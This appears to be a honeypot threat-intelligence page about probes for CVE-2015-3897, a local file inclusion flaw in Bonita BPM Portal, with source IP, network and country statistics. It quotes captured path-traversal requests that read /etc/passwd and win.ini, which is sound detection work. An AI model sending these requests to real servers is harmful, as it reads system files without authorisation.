CVE-2015-3897: Bonita BPM Portal <6.5.3 - Local File Inclusion

HoneyLabs honeypots recorded 2 probes matching CVE-2015-3897 from 1 distinct source IP address in the last 7 days. Severity is rated medium.

Request paths that identify it

  • /bonita/portal/themeResource?theme=portal/../../../../../../../../../../../../../../../../&location=etc/passwd
  • /bonita/portal/themeResource?theme=portal/../../../../../../../../../../../../../../../../&location=Windows/win.ini

Addresses probing it

Source IPProbesNetworkCountry
66.92.21.2002Psychz NetworksUnited States

Networks it comes from

ASNOrganisationProbesSource IPs
AS40676Psychz Networks21

Where it comes from

CountryProbes
United States2

Captured requests

  • /bonita/portal/themeResource?theme=portal/../../../../../../../../../../../../../../../../&location=etc/passwd
  • /bonita/portal/themeResource?theme=portal/../../../../../../../../../../../../../../../../&location=Windows/win.ini

HTTP client fingerprints

  • b11cun050_0004001e_00ecc3a8

CVE report

Open a specific CVE from the CVE tracker.